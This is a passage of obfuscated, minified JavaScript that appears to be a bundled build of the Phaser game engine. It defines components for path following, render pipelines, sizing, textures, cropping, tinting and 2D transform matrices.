'rotateToPath': !0x1, 'pathRotationOffset': 0x0, 'pathOffset': null, 'pathVector': null, 'pathDelta': null, 'pathTween': null, 'pathConfig': null, '_prevDirection': _0x25a062['PLAYING_FORWARD'], 'setPath': function (_0x35ea55, _0x37596c) { void 0x0 === _0x37596c && (_0x37596c = this['pathConfig']); var _0x3cd215 = this['pathTween']; return _0x3cd215 && _0x3cd215['isPlaying']() && _0x3cd215['stop'](), this['path'] = _0x35ea55, _0x37596c && this['startFollow'](_0x37596c), this; }, 'setRotateToPath': function (_0x56bdbb, _0x1eda4b) { return void 0x0 === _0x1eda4b && (_0x1eda4b = 0x0), this['rotateToPath'] = _0x56bdbb, this['pathRotationOffset'] = _0x1eda4b, this; }, 'isFollowing': function () { var _0x20cf0c = this['pathTween']; return _0x20cf0c && _0x20cf0c['isPlaying'](); }, 'startFollow': function (_0x43eefc, _0x481f6d) { void 0x0 === _0x43eefc && (_0x43eefc = {}), void 0x0 === _0x481f6d && (_0x481f6d = 0x0); var _0x2d4f0c = this['pathTween']; _0x2d4f0c && _0x2d4f0c['isPlaying']() && _0x2d4f0c['stop'](), 'number' == typeof _0x43eefc && (_0x43eefc = { 'duration': _0x43eefc }), _0x43eefc['from'] = _0x13df63(_0x43eefc, 'from', 0x0), _0x43eefc['to'] = _0x13df63(_0x43eefc, 'to', 0x1); var _0x1314a3 = _0x33a9fb(_0x43eefc, 'positionOnPath', !0x1); this['rotateToPath'] = _0x33a9fb(_0x43eefc, 'rotateToPath', !0x1), this['pathRotationOffset'] = _0x13df63(_0x43eefc, 'rotationOffset', 0x0); var _0x552c7e = _0x13df63(_0x43eefc, 'startAt', _0x481f6d); if (_0x552c7e && (_0x43eefc['onStart'] = function (_0x44aee2) { var _0x2907ad = _0x44aee2['data'][0x0]; _0x2907ad['progress'] = _0x552c7e, _0x2907ad['elapsed'] = _0x2907ad['duration'] * _0x552c7e; var _0x40999c = _0x2907ad['ease'](_0x2907ad['progress']); _0x2907ad['current'] = _0x2907ad['start'] + (_0x2907ad['end'] - _0x2907ad['start']) * _0x40999c, _0x2907ad['setTargetValue'](); }), this['pathOffset'] || (this['pathOffset'] = new _0x2155a9(this['x'], this['y'])), this['pathVector'] || (this['pathVector'] = new _0x2155a9()), this['pathDelta'] || (this['pathDelta'] = new _0x2155a9()), this['pathDelta']['reset'](), _0x43eefc['persist'] = !0x0, this['pathTween'] = this['scene']['sys']['tweens']['addCounter'](_0x43eefc), this['path']['getStartPoint'](this['pathOffset']), _0x1314a3 && (this['x'] = this['pathOffset']['x'], this['y'] = this['pathOffset']['y']), this['pathOffset']['x'] = this['x'] - this['pathOffset']['x'], this['pathOffset']['y'] = this['y'] - this['pathOffset']['y'], this['_prevDirection'] = _0x25a062['PLAYING_FORWARD'], this['rotateToPath']) { var _0x23156d = this['path']['getPoint'](0.1); this['rotation'] = Math['atan2'](_0x23156d['y'] - this['y'], _0x23156d['x'] - this['x']) + _0x144e73(this['pathRotationOffset']); } return this['pathConfig'] = _0x43eefc, this; }, 'pauseFollow': function () { var _0x3f995e = this['pathTween']; return _0x3f995e && _0x3f995e['isPlaying']() && _0x3f995e['pause'](), this; }, 'resumeFollow': function () { var _0x350189 = this['pathTween']; return _0x350189 && _0x350189['isPaused']() && _0x350189['resume'](), this; }, 'stopFollow': function () { var _0x43b07e = this['pathTween']; return _0x43b07e && _0x43b07e['isPlaying']() && _0x43b07e['stop'](), this; }, 'pathUpdate': function () { var _0x4c2ce2 = this['pathTween']; if (_0x4c2ce2 && _0x4c2ce2['data']) { var _0x217310 = _0x4c2ce2['data'][0x0], _0x4c3996 = this['pathDelta'], _0x4acd91 = this['pathVector']; if (_0x4c3996['copy'](_0x4acd91)['negate'](), _0x217310['state'] === _0x25a062['COMPLETE']) return this['path']['getPoint'](_0x217310['end'], _0x4acd91), _0x4c3996['add'](_0x4acd91), _0x4acd91['add'](this['pathOffset']), void this['setPosition'](_0x4acd91['x'], _0x4acd91['y']); if (_0x217310['state'] !== _0x25a062['PLAYING_FORWARD'] && _0x217310['state'] !== _0x25a062['PLAYING_BACKWARD']) return; this['path']['getPoint'](_0x4c2ce2['getValue'](), _0x4acd91), _0x4c3996['add'](_0x4acd91), _0x4acd91['add'](this['pathOffset']); var _0x1383c5 = this['x'], _0x5b5d30 = this['y']; this['setPosition'](_0x4acd91['x'], _0x4acd91['y']); var _0x22bbdb = this['x'] - _0x1383c5, _0x5abd8d = this['y'] - _0x5b5d30; if (0x0 === _0x22bbdb && 0x0 === _0x5abd8d) return; if (_0x217310['state'] !== this['_prevDirection']) return void (this['_prevDirection'] = _0x217310['state']); this['rotateToPath'] && (this['rotation'] = Math['atan2'](_0x5abd8d, _0x22bbdb) + _0x144e73(this['pathRotationOffset'])); } } }; _0x5ab7ed['exports'] = _0x3023f8; }, 0x11bfb: (_0x4fb19d, _0x598cad, _0x33d1a9) => { var _0x3dce3d = _0x33d1a9(0xf4b4), _0x3c1dd4 = { 'defaultPipeline': null, 'pipeline': null, 'pipelineData': null, 'initPipeline': function (_0x2bbc3b) { this['pipelineData'] = {}; var _0x10af93 = this['scene']['sys']['renderer']; if (!_0x10af93) return !0x1; var _0xa501b7 = _0x10af93['pipelines']; if (_0xa501b7) { void 0x0 === _0x2bbc3b && (_0x2bbc3b = _0xa501b7['default']); var _0x3974be = _0xa501b7['get'](_0x2bbc3b); if (_0x3974be) return this['defaultPipeline'] = _0x3974be, this['pipeline'] = _0x3974be, !0x0; } return !0x1; }, 'setPipeline': function (_0x415d16, _0x26e658, _0x179937) { var _0x4933ca = this['scene']['sys']['renderer']; if (!_0x4933ca) return this; var _0x56f250 = _0x4933ca['pipelines']; if (_0x56f250) { var _0x51570e = _0x56f250['get'](_0x415d16); _0x51570e && (this['pipeline'] = _0x51570e), _0x26e658 && (this['pipelineData'] = _0x179937 ? _0x3dce3d(_0x26e658) : _0x26e658); } return this; }, 'setPipelineData': function (_0x1bc222, _0x5d2159) { var _0x2fd55a = this['pipelineData']; return void 0x0 === _0x5d2159 ? delete _0x2fd55a[_0x1bc222] : _0x2fd55a[_0x1bc222] = _0x5d2159, this; }, 'resetPipeline': function (_0x7cf163) { return void 0x0 === _0x7cf163 && (_0x7cf163 = !0x1), this['pipeline'] = this['defaultPipeline'], _0x7cf163 && (this['pipelineData'] = {}), null !== this['pipeline']; }, 'getPipelineName': function () { return null === this['pipeline'] ? null : this['pipeline']['name']; } }; _0x4fb19d['exports'] = _0x3c1dd4; }, 0x44ad: (_0x6e33dc, _0x1b6913, _0x441669) => { var _0x5c7e92 = _0x441669(0xf4b4), _0x5a122a = _0x441669(0xb7d3), _0x30c3e4 = _0x441669(0x4abd), _0x1329ee = { 'hasPostPipeline': !0x1, 'postPipelines': null, 'postPipelineData': null, 'preFX': null, 'postFX': null, 'initPostPipeline': function (_0xd14d78) { this['postPipelines'] = [], this['postPipelineData'] = {}, this['postFX'] = new _0x5a122a(this, !0x0), _0xd14d78 && (this['preFX'] = new _0x5a122a(this, !0x1)); }, 'setPostPipeline': function (_0x48850f, _0x119c07, _0x39d941) { var _0x1f0797 = this['scene']['sys']['renderer']; if (!_0x1f0797) return this; var _0x41ce47 = _0x1f0797['pipelines']; if (_0x41ce47) { Array['isArray'](_0x48850f) || (_0x48850f = [_0x48850f]); for (var _0x1042eb = 0x0; _0x1042eb < _0x48850f['length']; _0x1042eb++) { var _0x4312e9 = _0x41ce47['getPostPipeline'](_0x48850f[_0x1042eb], this, _0x119c07); _0x4312e9 && this['postPipelines']['push'](_0x4312e9); } _0x119c07 && (this['postPipelineData'] = _0x39d941 ? _0x5c7e92(_0x119c07) : _0x119c07); } return this['hasPostPipeline'] = this['postPipelines']['length'] > 0x0, this; }, 'setPostPipelineData': function (_0x3d1aba, _0x1ceef4) { var _0x43bb01 = this['postPipelineData']; return void 0x0 === _0x1ceef4 ? delete _0x43bb01[_0x3d1aba] : _0x43bb01[_0x3d1aba] = _0x1ceef4, this; }, 'getPostPipeline': function (_0x194734) { for (var _0x3ac080 = 'string' == typeof _0x194734, _0x2246e1 = this['postPipelines'], _0x4456e2 = [], _0xdbca67 = 0x0; _0xdbca67 < _0x2246e1['length']; _0xdbca67++) { var _0x2b938a = _0x2246e1[_0xdbca67]; (_0x3ac080 && _0x2b938a['name'] === _0x194734 || !_0x3ac080 && _0x2b938a instanceof _0x194734) && _0x4456e2['push'](_0x2b938a); } return 0x1 === _0x4456e2['length'] ? _0x4456e2[0x0] : _0x4456e2; }, 'resetPostPipeline': function (_0x1c3d62) { void 0x0 === _0x1c3d62 && (_0x1c3d62 = !0x1); for (var _0x300152 = this['postPipelines'], _0x2b15c8 = 0x0; _0x2b15c8 < _0x300152['length']; _0x2b15c8++)_0x300152[_0x2b15c8]['destroy'](); this['postPipelines'] = [], this['hasPostPipeline'] = !0x1, _0x1c3d62 && (this['postPipelineData'] = {}); }, 'removePostPipeline': function (_0x5e789d) { for (var _0x1dff50 = 'string' == typeof _0x5e789d, _0x3ac8c4 = this['postPipelines'], _0x5465c0 = _0x3ac8c4['length'] - 0x1; _0x5465c0 >= 0x0; _0x5465c0--) { var _0x40d378 = _0x3ac8c4[_0x5465c0]; (_0x1dff50 && _0x40d378['name'] === _0x5e789d || !_0x1dff50 && _0x40d378 === _0x5e789d) && (_0x40d378['destroy'](), _0x30c3e4(_0x3ac8c4, _0x5465c0)); } return this['hasPostPipeline'] = this['postPipelines']['length'] > 0x0, this; }, 'clearFX': function () { return this['preFX'] && this['preFX']['clear'](), this['postFX'] && this['postFX']['clear'](), this; } }; _0x6e33dc['exports'] = _0x1329ee; }, 0x13963: _0x252a21 => { var _0x3872f6 = { 'scrollFactorX': 0x1, 'scrollFactorY': 0x1, 'setScrollFactor': function (_0x556dc8, _0x3e99ed) { return void 0x0 === _0x3e99ed && (_0x3e99ed = _0x556dc8), this['scrollFactorX'] = _0x556dc8, this['scrollFactorY'] = _0x3e99ed, this; } }; _0x252a21['exports'] = _0x3872f6; }, 0x4160: _0x1c6232 => { var _0x5b2fa1 = { '_sizeComponent': !0x0, 'width': 0x0, 'height': 0x0, 'displayWidth': { 'get': function () { return Math['abs'](this['scaleX'] * this['frame']['realWidth']); }, 'set': function (_0x1343ea) { this['scaleX'] = _0x1343ea / this['frame']['realWidth']; } }, 'displayHeight': { 'get': function () { return Math['abs'](this['scaleY'] * this['frame']['realHeight']); }, 'set': function (_0x39ca73) { this['scaleY'] = _0x39ca73 / this['frame']['realHeight']; } }, 'setSizeToFrame': function (_0x24f36e) { _0x24f36e || (_0x24f36e = this['frame']), this['width'] = _0x24f36e['realWidth'], this['height'] = _0x24f36e['realHeight']; var _0x54f70d = this['input']; return _0x54f70d && !_0x54f70d['customHitArea'] && (_0x54f70d['hitArea']['width'] = this['width'], _0x54f70d['hitArea']['height'] = this['height']), this; }, 'setSize': function (_0x40ca1f, _0xcc1a2e) { return this['width'] = _0x40ca1f, this['height'] = _0xcc1a2e, this; }, 'setDisplaySize': function (_0x1fb47d, _0x1fe23b) { return this['displayWidth'] = _0x1fb47d, this['displayHeight'] = _0x1fe23b, this; } }; _0x1c6232['exports'] = _0x5b2fa1; }, 0x935e: (_0x3d8299, _0x38e516, _0x31a590) => { var _0x3425af = _0x31a590(0x10e7), _0x1e76fd = { 'texture': null, 'frame': null, 'isCropped': !0x1, 'setTexture': function (_0x5b08e0, _0x20f81b, _0x2e7786, _0x34dfeb) { return this['texture'] = this['scene']['sys']['textures']['get'](_0x5b08e0), this['setFrame'](_0x20f81b, _0x2e7786, _0x34dfeb); }, 'setFrame': function (_0xb15771, _0x20b877, _0x833dc8) { return void 0x0 === _0x20b877 && (_0x20b877 = !0x0), void 0x0 === _0x833dc8 && (_0x833dc8 = !0x0), _0xb15771 instanceof _0x3425af ? (this['texture'] = this['scene']['sys']['textures']['get'](_0xb15771['texture']['key']), this['frame'] = _0xb15771) : this['frame'] = this['texture']['get'](_0xb15771), this['frame']['cutWidth'] && this['frame']['cutHeight'] ? this['renderFlags'] |= 0x8 : this['renderFlags'] &= -0x9, this['_sizeComponent'] && _0x20b877 && this['setSizeToFrame'](), this['_originComponent'] && _0x833dc8 && (this['frame']['customPivot'] ? this['setOrigin'](this['frame']['pivotX'], this['frame']['pivotY']) : this['updateDisplayOrigin']()), this; } }; _0x3d8299['exports'] = _0x1e76fd; }, 0x137c4: (_0x19b86e, _0x58c3a7, _0x3757c7) => { var _0x45d967 = _0x3757c7(0x10e7), _0x2bc967 = { 'texture': null, 'frame': null, 'isCropped': !0x1, 'setCrop': function (_0x1900c2, _0x6b2f35, _0x18f050, _0x3b1b61) { if (void 0x0 === _0x1900c2) this['isCropped'] = !0x1; else { if (this['frame']) { if ('number' == typeof _0x1900c2) this['frame']['setCropUVs'](this['_crop'], _0x1900c2, _0x6b2f35, _0x18f050, _0x3b1b61, this['flipX'], this['flipY']); else { var _0x2b2ba1 = _0x1900c2; this['frame']['setCropUVs'](this['_crop'], _0x2b2ba1['x'], _0x2b2ba1['y'], _0x2b2ba1['width'], _0x2b2ba1['height'], this['flipX'], this['flipY']); } this['isCropped'] = !0x0; } } return this; }, 'setTexture': function (_0x164557, _0x3d7bb8) { return this['texture'] = this['scene']['sys']['textures']['get'](_0x164557), this['setFrame'](_0x3d7bb8); }, 'setFrame': function (_0x5ef4f2, _0x29a23f, _0xacfb24) { return void 0x0 === _0x29a23f && (_0x29a23f = !0x0), void 0x0 === _0xacfb24 && (_0xacfb24 = !0x0), _0x5ef4f2 instanceof _0x45d967 ? (this['texture'] = this['scene']['sys']['textures']['get'](_0x5ef4f2['texture']['key']), this['frame'] = _0x5ef4f2) : this['frame'] = this['texture']['get'](_0x5ef4f2), this['frame']['cutWidth'] && this['frame']['cutHeight'] ? this['renderFlags'] |= 0x8 : this['renderFlags'] &= -0x9, this['_sizeComponent'] && _0x29a23f && this['setSizeToFrame'](), this['_originComponent'] && _0xacfb24 && (this['frame']['customPivot'] ? this['setOrigin'](this['frame']['pivotX'], this['frame']['pivotY']) : this['updateDisplayOrigin']()), this['isCropped'] && this['frame']['updateCropUVs'](this['_crop'], this['flipX'], this['flipY']), this; }, 'resetCropObject': function () { return { 'u0': 0x0, 'v0': 0x0, 'u1': 0x0, 'v1': 0x0, 'width': 0x0, 'height': 0x0, 'x': 0x0, 'y': 0x0, 'flipX': !0x1, 'flipY': !0x1, 'cx': 0x0, 'cy': 0x0, 'cw': 0x0, 'ch': 0x0 }; } }; _0x19b86e['exports'] = _0x2bc967; }, 0x6b50: _0x1ebb0c => { var _0x45b4c7 = { 'tintTopLeft': 0xffffff, 'tintTopRight': 0xffffff, 'tintBottomLeft': 0xffffff, 'tintBottomRight': 0xffffff, 'tintFill': !0x1, 'clearTint': function () { return this['setTint'](0xffffff), this; }, 'setTint': function (_0x519f4d, _0x3feca7, _0x206f5c, _0x3a25eb) { return void 0x0 === _0x519f4d && (_0x519f4d = 0xffffff), void 0x0 === _0x3feca7 && (_0x3feca7 = _0x519f4d, _0x206f5c = _0x519f4d, _0x3a25eb = _0x519f4d), this['tintTopLeft'] = _0x519f4d, this['tintTopRight'] = _0x3feca7, this['tintBottomLeft'] = _0x206f5c, this['tintBottomRight'] = _0x3a25eb, this['tintFill'] = !0x1, this; }, 'setTintFill': function (_0x1f7778, _0x35f594, _0xa9e032, _0x289aea) { return this['setTint'](_0x1f7778, _0x35f594, _0xa9e032, _0x289aea), this['tintFill'] = !0x0, this; }, 'tint': { 'get': function () { return this['tintTopLeft']; }, 'set': function (_0x119579) { this['setTint'](_0x119579, _0x119579, _0x119579, _0x119579); } }, 'isTinted': { 'get': function () { var _0x20375e = 0xffffff; return this['tintFill'] || this['tintTopLeft'] !== _0x20375e || this['tintTopRight'] !== _0x20375e || this['tintBottomLeft'] !== _0x20375e || this['tintBottomRight'] !== _0x20375e; } } }; _0x1ebb0c['exports'] = _0x45b4c7; }, 0xd20e: _0x447a36 => { _0x447a36['exports'] = function (_0x57fc33) { var _0x5614c7 = { 'name': _0x57fc33['name'], 'type': _0x57fc33['type'], 'x': _0x57fc33['x'], 'y': _0x57fc33['y'], 'depth': _0x57fc33['depth'], 'scale': { 'x': _0x57fc33['scaleX'], 'y': _0x57fc33['scaleY'] }, 'origin': { 'x': _0x57fc33['originX'], 'y': _0x57fc33['originY'] }, 'flipX': _0x57fc33['flipX'], 'flipY': _0x57fc33['flipY'], 'rotation': _0x57fc33['rotation'], 'alpha': _0x57fc33['alpha'], 'visible': _0x57fc33['visible'], 'blendMode': _0x57fc33['blendMode'], 'textureKey': '', 'frameKey': '', 'data': {} }; return _0x57fc33['texture'] && (_0x5614c7['textureKey'] = _0x57fc33['texture']['key'], _0x5614c7['frameKey'] = _0x57fc33['frame']['name']), _0x5614c7; }; }, 0x4205: (_0x50dcb0, _0x1c390a, _0x2875a3) => { var _0x370fc0 = _0x2875a3(0x8e1f), _0x6a6a51 = _0x2875a3(0xef9c), _0x4d67a9 = _0x2875a3(0x14fc3), _0x5240e9 = _0x2875a3(0x1521a), _0x5b1606 = _0x2875a3(0x78ea), _0x1abdab = _0x2875a3(0x65f3), _0x5933ce = { 'hasTransformComponent': !0x0, '_scaleX': 0x1, '_scaleY': 0x1, '_rotation': 0x0, 'x': 0x0, 'y': 0x0, 'z': 0x0, 'w': 0x0, 'scale': { 'get': function () { return (this['_scaleX'] + this['_scaleY']) / 0x2; }, 'set': function (_0x178946) { this['_scaleX'] = _0x178946, this['_scaleY'] = _0x178946, 0x0 === _0x178946 ? this['renderFlags'] &= -0x5 : this['renderFlags'] |= 0x4; } }, 'scaleX': { 'get': function () { return this['_scaleX']; }, 'set': function (_0x4e73f2) { this['_scaleX'] = _0x4e73f2, 0x0 === _0x4e73f2 ? this['renderFlags'] &= -0x5 : 0x0 !== this['_scaleY'] && (this['renderFlags'] |= 0x4); } }, 'scaleY': { 'get': function () { return this['_scaleY']; }, 'set': function (_0x4c706d) { this['_scaleY'] = _0x4c706d, 0x0 === _0x4c706d ? this['renderFlags'] &= -0x5 : 0x0 !== this['_scaleX'] && (this['renderFlags'] |= 0x4); } }, 'angle': { 'get': function () { return _0x5b1606(this['_rotation'] * _0x370fc0['RAD_TO_DEG']); }, 'set': function (_0x28b69e) { this['rotation'] = _0x5b1606(_0x28b69e) * _0x370fc0['DEG_TO_RAD']; } }, 'rotation': { 'get': function () { return this['_rotation']; }, 'set': function (_0x1ee033) { this['_rotation'] = _0x5240e9(_0x1ee033); } }, 'setPosition': function (_0xa46b2a, _0x3162b5, _0x4759b9, _0x8805b5) { return void 0x0 === _0xa46b2a && (_0xa46b2a = 0x0), void 0x0 === _0x3162b5 && (_0x3162b5 = _0xa46b2a), void 0x0 === _0x4759b9 && (_0x4759b9 = 0x0), void 0x0 === _0x8805b5 && (_0x8805b5 = 0x0), this['x'] = _0xa46b2a, this['y'] = _0x3162b5, this['z'] = _0x4759b9, this['w'] = _0x8805b5, this; }, 'copyPosition': function (_0x5c35b2) { return void 0x0 !== _0x5c35b2['x'] && (this['x'] = _0x5c35b2['x']), void 0x0 !== _0x5c35b2['y'] && (this['y'] = _0x5c35b2['y']), void 0x0 !== _0x5c35b2['z'] && (this['z'] = _0x5c35b2['z']), void 0x0 !== _0x5c35b2['w'] && (this['w'] = _0x5c35b2['w']), this; }, 'setRandomPosition': function (_0x506754, _0x5783b8, _0x1b758b, _0x362fe1) { return void 0x0 === _0x506754 && (_0x506754 = 0x0), void 0x0 === _0x5783b8 && (_0x5783b8 = 0x0), void 0x0 === _0x1b758b && (_0x1b758b = this['scene']['sys']['scale']['width']), void 0x0 === _0x362fe1 && (_0x362fe1 = this['scene']['sys']['scale']['height']), this['x'] = _0x506754 + Math['random']() * _0x1b758b, this['y'] = _0x5783b8 + Math['random']() * _0x362fe1, this; }, 'setRotation': function (_0x2e4c6e) { return void 0x0 === _0x2e4c6e && (_0x2e4c6e = 0x0), this['rotation'] = _0x2e4c6e, this; }, 'setAngle': function (_0x4a86de) { return void 0x0 === _0x4a86de && (_0x4a86de = 0x0), this['angle'] = _0x4a86de, this; }, 'setScale': function (_0x164174, _0x570880) { return void 0x0 === _0x164174 && (_0x164174 = 0x1), void 0x0 === _0x570880 && (_0x570880 = _0x164174), this['scaleX'] = _0x164174, this['scaleY'] = _0x570880, this; }, 'setX': function (_0x20446e) { return void 0x0 === _0x20446e && (_0x20446e = 0x0), this['x'] = _0x20446e, this; }, 'setY': function (_0x25284d) { return void 0x0 === _0x25284d && (_0x25284d = 0x0), this['y'] = _0x25284d, this; }, 'setZ': function (_0x534b16) { return void 0x0 === _0x534b16 && (_0x534b16 = 0x0), this['z'] = _0x534b16, this; }, 'setW': function (_0x2b2ecd) { return void 0x0 === _0x2b2ecd && (_0x2b2ecd = 0x0), this['w'] = _0x2b2ecd, this; }, 'getLocalTransformMatrix': function (_0x2389f7) { return void 0x0 === _0x2389f7 && (_0x2389f7 = new _0x6a6a51()), _0x2389f7['applyITRS'](this['x'], this['y'], this['_rotation'], this['_scaleX'], this['_scaleY']); }, 'getWorldTransformMatrix': function (_0x3ddd31, _0x150680) { void 0x0 === _0x3ddd31 && (_0x3ddd31 = new _0x6a6a51()); var _0x2edf4a = this['parentContainer']; if (!_0x2edf4a) return this['getLocalTransformMatrix'](_0x3ddd31); for (_0x150680 || (_0x150680 = new _0x6a6a51()), _0x3ddd31['applyITRS'](this['x'], this['y'], this['_rotation'], this['_scaleX'], this['_scaleY']); _0x2edf4a;)_0x150680['applyITRS'](_0x2edf4a['x'], _0x2edf4a['y'], _0x2edf4a['_rotation'], _0x2edf4a['_scaleX'], _0x2edf4a['_scaleY']), _0x150680['multiply'](_0x3ddd31, _0x3ddd31), _0x2edf4a = _0x2edf4a['parentContainer']; return _0x3ddd31; }, 'getLocalPoint': function (_0x47fbd9, _0xc59a04, _0x34112a, _0xb29199) { _0x34112a || (_0x34112a = new _0x1abdab()), _0xb29199 || (_0xb29199 = this['scene']['sys']['cameras']['main']); var _0x2fc5bb = _0xb29199['scrollX'], _0x82167e = _0xb29199['scrollY'], _0x52f88a = _0x47fbd9 + _0x2fc5bb * this['scrollFactorX'] - _0x2fc5bb, _0x529535 = _0xc59a04 + _0x82167e * this['scrollFactorY'] - _0x82167e; return this['parentContainer'] ? this['getWorldTransformMatrix']()['applyInverse'](_0x52f88a, _0x529535, _0x34112a) : _0x4d67a9(_0x52f88a, _0x529535, this['x'], this['y'], this['rotation'], this['scaleX'], this['scaleY'], _0x34112a), this['_originComponent'] && (_0x34112a['x'] += this['_displayOriginX'], _0x34112a['y'] += this['_displayOriginY']), _0x34112a; }, 'getParentRotation': function () { for (var _0x589f21 = 0x0, _0x230487 = this['parentContainer']; _0x230487;)_0x589f21 += _0x230487['rotation'], _0x230487 = _0x230487['parentContainer']; return _0x589f21; } }; _0x50dcb0['exports'] = _0x5933ce; }, 0xef9c: (_0x578048, _0x1e2d70, _0xa1f2b5) => { var _0x5c4249 = _0xa1f2b5(0x145db), _0xa5e329 = _0xa1f2b5(0x8e1f), _0x56dda1 = _0xa1f2b5(0x65f3), _0x598e6b = new _0x5c4249({ 'initialize': function (_0x236f43, _0x4188e0, _0x4ab28e, _0x3193d1, _0x4ba4e6, _0x2b3dfc) { void 0x0 === _0x236f43 && (_0x236f43 = 0x1), void 0x0 === _0x4188e0 && (_0x4188e0 = 0x0), void 0x0 === _0x4ab28e && (_0x4ab28e = 0x0), void 0x0 === _0x3193d1 && (_0x3193d1 = 0x1), void 0x0 === _0x4ba4e6 && (_0x4ba4e6 = 0x0), void 0x0 === _0x2b3dfc && (_0x2b3dfc = 0x0), this['matrix'] = new Float32Array([_0x236f43, _0x4188e0, _0x4ab28e, _0x3193d1, _0x4ba4e6, _0x2b3dfc, 0x0, 0x0, 0x1]), this['decomposedMatrix'] = { 'translateX': 0x0, 'translateY': 0x0, 'scaleX': 0x1, 'scaleY': 0x1, 'rotation': 0x0 }, this['quad'] = new Float32Array(0x8); }, 'a': { 'get': function () { return this['matrix'][0x0]; }, 'set': function (_0x4d6bbe) { this['matrix'][0x0] = _0x4d6bbe; } }, 'b': { 'get': function () { return this['matrix'][0x1]; }, 'set': function (_0x33f505) { this['matrix'][0x1] = _0x33f505; } }, 'c': { 'get': function () { return this['matrix'][0x2]; }, 'set': function (_0xcb55a2) { this['matrix'][0x2] = _0xcb55a2; } }, 'd': { 'get': function () { return this['matrix'][0x3]; }, 'set': function (_0x2216b8) { this['matrix'][0x3] = _0x2216b8; } }, 'e': { 'get': function () { return this['matrix'][0x4]; }, 'set': function (_0x8d2813) { this['matrix'][0x4] = _0x8d2813; } }, 'f': { 'get': function () { return this['matrix'][0x5]; }, 'set': function (_0x2735f7) { this['matrix'][0x5] = _0x2735f7; } }, 'tx': { 'get': function () { return this['matrix'][0x4]; }, 'set': function (_0x2313a7) { this['matrix'][0x4] = _0x2313a7; } }, 'ty': { 'get': function () { return this['matrix'][0x5]; }, 'set': function (_0x4b4617) { this['matrix'][0x5] = _0x4b4617; } }, 'rotation': { 'get': function () { return Math['acos'](this['a'] / this['scaleX']) * (Math['atan'](-this['c'] / this['a']) < 0x0 ? -0x1 : 0x1); } }, 'rotationNormalized': { 'get': function () { var _0x455087 = this['matrix'], _0x3f9828 = _0x455087[0x0], _0x405220 = _0x455087[0x1], _0x355752 = _0x455087[0x2], _0x367721 = _0x455087[0x3]; return _0x3f9828 || _0x405220 ? _0x405220 > 0x0 ? Math['acos'](_0x3f9828 / this['scaleX']) : -Math['acos'](_0x3f9828 / this['scaleX']) : _0x355752 || _0x367721 ? _0xa5e329['TAU'] - (_0x367721 > 0x0 ? Math['acos'](-_0x355752 / this['scaleY']) : -Math['acos'](_0x355752 / this['scaleY'])) : 0x0; } }, 'scaleX': { 'get': function () { return Math['sqrt'](this['a'] * this['a'] + this['b'] * this['b']); } }, 'scaleY': { 'get': function () { return Math['sqrt'](this['c'] * this['c'] + this['d'] * this['d']); } }, 'loadIdentity': function () { var _0x2522b9 = this['matrix']; return _0x2522b9[0x0] = 0x1, _0x2522b9[0x1] = 0x0, _0x2522b9[0x2] = 0x0, _0x2522b9[0x3] = 0x1, _0x2522b9[0x4] = 0x0, _0x2522b9[0x5] = 0x0, this; }, 'translate': function (_0x41171b, _0x1eb13d) { var _0x256a47 = this['matrix']; return _0x256a47[0x4] = _0x256a47[0x0] * _0x41171b + _0x256a47[0x2] * _0x1eb13d + _0x256a47[0x4], _0x256a47[0x5] = _0x256a47[0x1] * _0x41171b + _0x256a47[0x3] * _0x1eb13d + _0x256a47[0x5], this; }, 'scale': function (_0x1dfdbb, _0x10a9b4) { var _0x13a77a = this['matrix']; return _0x13a77a[0x0] *= _0x1dfdbb, _0x13a77a[0x1] *= _0x1dfdbb, _0x13a77a[0x2] *= _0x10a9b4, _0x13a77a[0x3] *= _0x10a9b4, this; }, 'rotate': function (_0x182060) { var _0x26098d = Math['sin'](_0x182060), _0x3c5fea = Math['cos'](_0x182060), _0x1841f9 = this['matrix'], _0x5e6e5d = _0x1841f9[0x0], _0x5232f0 = _0x1841f9[0x1], _0x3fc45a = _0x1841f9[0x2], _0xfbe7c6 = _0x1841f9[0x3]; return _0x1841f9[0x0] = _0x5e6e5d * _0x3c5fea + _0x3fc45a * _0x26098d, _0x1841f9[0x1] = _0x5232f0 * _0x3c5fea + _0xfbe7c6 * _0x26098d, _0x1841f9[0x2] = _0x5e6e5d * -_0x26098d + _0x3fc45a * _0x3c5fea, _0x1841f9[0x3] = _0x5232f0 * -_0x26098d + _0xfbe7c6 * _0x3c5fea, this; }, 'multiply': function (_0x524620, _0x4a1308) { var _0x4f531c = this['matrix'], _0x5cfccf = _0x524620['matrix'], _0x3b9960 = _0x4f531c[0x0], _0x34ec4b = _0x4f531c[0x1], _0x5bba4c = _0x4f531c[0x2], _0x21b90b = _0x4f531c[0x3], _0x21dc97 = _0x4f531c[0x4], _0xdc2f9b = _0x4f531c[0x5], _0x388f68 = _0x5cfccf[0x0], _0x4fdc2a = _0x5cfccf[0x1], _0x299b78 = _0x5cfccf[0x2], _0x3c3000 = _0x5cfccf[0x3], _0x156d96 = _0x5cfccf[0x4], _0x193f1a = _0x5cfccf[0x5], _0x5ee913 = void 0x0 === _0x4a1308 ? _0x4f531c : _0x4a1308['matrix']; return _0x5ee913[0x0] = _0x388f68 * _0x3b9960 + _0x4fdc2a * _0x5bba4c, _0x5ee913[0x1] = _0x388f68 * _0x34ec4b + _0x4fdc2a * _0x21b90b, _0x5ee913[0x2] = _0x299b78 * _0x3b9960 + _0x3c3000 * _0x5bba4c, _0x5ee913[0x3] = _0x299b78 * _0x34ec4b + _0x3c3000 * _0x21b90b, _0x5ee913[0x4] = _0x156d96 * _0x3b9960 + _0x193f1a * _0x5bba4c + _0x21dc97, _0x5ee913[0x5] = _0x156d96 * _0x34ec4b + _0x193f1a * _0x21b90b + _0xdc2f9b, _0x5ee913; }, 'multiplyWithOffset': function (_0x2b9b67, _0x3e0606, _0x3afb6a) { var _0x59f0a3 = this['matrix'], _0x1a36e3 = _0x2b9b67['matrix'], _0x3bb7af = _0x59f0a3[0x0], _0x3cd91e = _0x59f0a3[0x1], _0x241dce = _0x59f0a3[0x2], _0x4eed03 = _0x59f0a3[0x3], _0x45dd46 = _0x3e0606 * _0x3bb7af + _0x3afb6a * _0x241dce + _0x59f0a3[0x4], _0xd4373b = _0x3e0606 * _0x3cd91e + _0x3afb6a * _0x4eed03 + _0x59f0a3[0x5], _0x5a76ff = _0x1a36e3[0x0], _0xb4902c = _0x1a36e3[0x1], _0x27c37b = _0x1a36e3[0x2], _0x1ebf73 = _0x1a36e3[0x3], _0x424fc4 = _0x1a36e3[0x4], _0x8b4092 = _0x1a36e3[0x5]; return _0x59f0a3[0x0] = _0x5a76ff * _0x3bb7af + _0xb4902c * 